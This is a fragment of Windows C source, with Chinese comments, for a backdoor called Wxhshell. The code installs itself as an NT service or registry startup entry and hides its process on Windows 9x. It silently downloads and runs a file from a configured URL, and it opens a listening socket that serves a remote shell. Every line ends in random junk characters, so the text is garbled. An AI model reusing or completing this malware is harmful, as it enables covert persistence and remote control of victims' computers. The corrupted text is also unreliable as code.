DWORD AffinityMask; W?@ ;(k
DWORD BasePriority; 7l?=$q>k"
ULONG UniqueProcessId; k=LY 6
ULONG InheritedFromUniqueProcessId; HwDb &pP"
} PROCESS_BASIC_INFORMATION; +G?3j ,a\
)T>a|.
PROCNTQSIP NtQueryInformationProcess; 3}"VUS0wh
<Sz9: hg-
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; h.67]U7m
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4EOu)#
k2xjcrg
HANDLE hProcess; 69_c,(M0
PROCESS_BASIC_INFORMATION pbi; `q F:rQ
lU\|F5O@#
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); qB8<(vBP+
if(NULL == hInst ) return 0; %hXa5}JL
}Iu 6]?|'
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); }RD,JgmV
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 6:e0?R^aD"
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); NWKD:{
1r;Q5[@
if (!NtQueryInformationProcess) return 0; 46mu,v
Fr3Q"(
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); qWWy}5SOm
if(!hProcess) return 0; C4b3ZcD2
*bR _
C"-
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Q} /
:
QII>XJ9
CloseHandle(hProcess); [9w8oNg0
l!`m}$
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); c0tv!PSw
if(hProcess==NULL) return 0; uz%rWN`{
&)rmv
HMODULE hMod; b+{yF
char procName[255]; c^m}ep\F5L
unsigned long cbNeeded; /ZAEvdO*P
" I:j a7
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); '06[@Cw
b6#V0bDXHD
CloseHandle(hProcess); C<{k[!N%zm
&ed.%:
if(strstr(procName,"services")) return 1; // 以服务启动 P*\.dAi
]E,
return 0; // 注册表启动 =s;7T!7!
} $[IuEdc/
_v_ak4m>
// 主模块 .rwZ`MP
int StartWxhshell(LPSTR lpCmdLine) ,UY],;ib
{ ^G5_d"Gr
SOCKET wsl; S]k<Ixvf
BOOL val=TRUE; ETYw
int port=0; O%rjY
struct sockaddr_in door; htIV`_<Ro
RF qbwPX
if(wscfg.ws_autoins) Install(); 1,Y-_e)
n`}vcVL;
port=atoi(lpCmdLine); kGCd!$fsk
hMi`n6m
if(port<=0) port=wscfg.ws_port; tM~R?9OaJ
,*Sj7qb#
WSADATA data; x#'#
~EO-G
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; /I="+
nd-y`@z
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; %|4Nmf$:Og
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ?FD^S~bz-
door.sin_family = AF_INET; {]`O $S
door.sin_addr.s_addr = inet_addr("127.0.0.1"); $dq
R]'
door.sin_port = htons(port); e3&R3{
{5:y,=Y
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Qb/qUUQO;0
closesocket(wsl); FhW\23OC
return 1; 5v8_ji#l[
} 4h?[NOA"
9=Y-w s
if(listen(wsl,2) == INVALID_SOCKET) { EZao\,t
closesocket(wsl); ~p^6
return 1; :+; UW
\
} |R DPx6!V
Wxhshell(wsl); W$
M4#
WSACleanup(); N _Yop
sFMSH:5z
return 0; }~yhkt5K
_z~|*7@
} A@+pvC&
rD
fUTfv|Q
// 以NT服务方式启动 ~gmj/PQ0
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^lf{IM-Y
{ o|$l+TC
DWORD status = 0;
R Mrh@9g
DWORD specificError = 0xfffffff; Q%
)fuI
dFK/
serviceStatus.dwServiceType = SERVICE_WIN32; RoT}L#!!
serviceStatus.dwCurrentState = SERVICE_START_PENDING; eVn]/.d
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Bk*AO?3p
serviceStatus.dwWin32ExitCode = 0; Q"S;r1 D
serviceStatus.dwServiceSpecificExitCode = 0; Az{Z=:(0
serviceStatus.dwCheckPoint = 0; g&) XaF[!
serviceStatus.dwWaitHint = 0; G)G5eXXX
UOi8>;k`
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); LDx1@a|83
if (hServiceStatusHandle==0) return; +.:- :
&V:iy
status = GetLastError(); #zyEN+
if (status!=NO_ERROR) )u`q41!
{ L
slI!.(
serviceStatus.dwCurrentState = SERVICE_STOPPED; :[?hU}9
serviceStatus.dwCheckPoint = 0; a)/!ifJ;
serviceStatus.dwWaitHint = 0; d@JjqE[
serviceStatus.dwWin32ExitCode = status; h%9#~gJ})
serviceStatus.dwServiceSpecificExitCode = specificError; Hcq?7_)
SetServiceStatus(hServiceStatusHandle, &serviceStatus); l`4hWs\I
return; 9s7sn*aB#5
} M<4~ewWJ
7X*$Fu<
serviceStatus.dwCurrentState = SERVICE_RUNNING; sFuB[
JJ}
serviceStatus.dwCheckPoint = 0; 4[v
%]g`
serviceStatus.dwWaitHint = 0; IZoS2^:yw
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); N^jQ\|A<
} q ^Un,h64t
vlY83mU.
// 处理NT服务事件,比如:启动、停止 8XIG<Nc
VOID WINAPI NTServiceHandler(DWORD fdwControl) JmjqA Dex
{ Ko|nF-r_
switch(fdwControl) 8GgZAu'X
{ UOC>H%r~M?
case SERVICE_CONTROL_STOP: [W;iR_7T5
serviceStatus.dwWin32ExitCode = 0; >|'u:`A
serviceStatus.dwCurrentState = SERVICE_STOPPED; W_8N?coM
serviceStatus.dwCheckPoint = 0; w3WBgH
serviceStatus.dwWaitHint = 0; DD{-xCCR
{ #?DwOUw
SetServiceStatus(hServiceStatusHandle, &serviceStatus); bz <f u
} t2uX+1F
return; ).0klwfV
case SERVICE_CONTROL_PAUSE: B+:/!_
serviceStatus.dwCurrentState = SERVICE_PAUSED; ZF^$?;'3
break; | vL0}e
case SERVICE_CONTROL_CONTINUE: jgNdcP
serviceStatus.dwCurrentState = SERVICE_RUNNING; 8lk@ev=O&
break; agp`<1h9
case SERVICE_CONTROL_INTERROGATE: GH[ATL
break; xkV(E!O
}; sxkWg>
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?Dm={S6
} 4+I @
p8,Rr{
// 标准应用程序主函数 w+($=n~
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 0N>NX?r
{ H\H4AAP5F$
WR,MqM20
// 获取操作系统版本 Is57)(^.-
OsIsNt=GetOsVer(); UEHJ?
}
GetModuleFileName(NULL,ExeFile,MAX_PATH); &y_Ya%Z3*e
X?whyD)vE@
// 从命令行安装 RC?gozBFJ
if(strpbrk(lpCmdLine,"iI")) Install(); >%LZ|*U
AQ+MjS,
// 下载执行文件 ynY(
if(wscfg.ws_downexe) { >J(._K
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) F#Y9 @E
WinExec(wscfg.ws_filenam,SW_HIDE); $r+_Y/
} GWd71ZtFO
5,dKha
if(!OsIsNt) { ^m
pWQ`R
// 如果时win9x,隐藏进程并且设置为注册表启动 I8};t b#
HideProc(); uIh68UM
StartWxhshell(lpCmdLine); b$FK}D5
} 7W[+e&
else )<YfLDgTs
if(StartFromService()) 6.5E
d-
// 以服务方式启动 s R/z)U_
StartServiceCtrlDispatcher(DispatchTable); V9`?s0nn^
else Pa)'xfQ$Y6
// 普通方式启动 M18> %zM
StartWxhshell(lpCmdLine); -J &y]'
x
Zp`
return 0; gi {rqM
}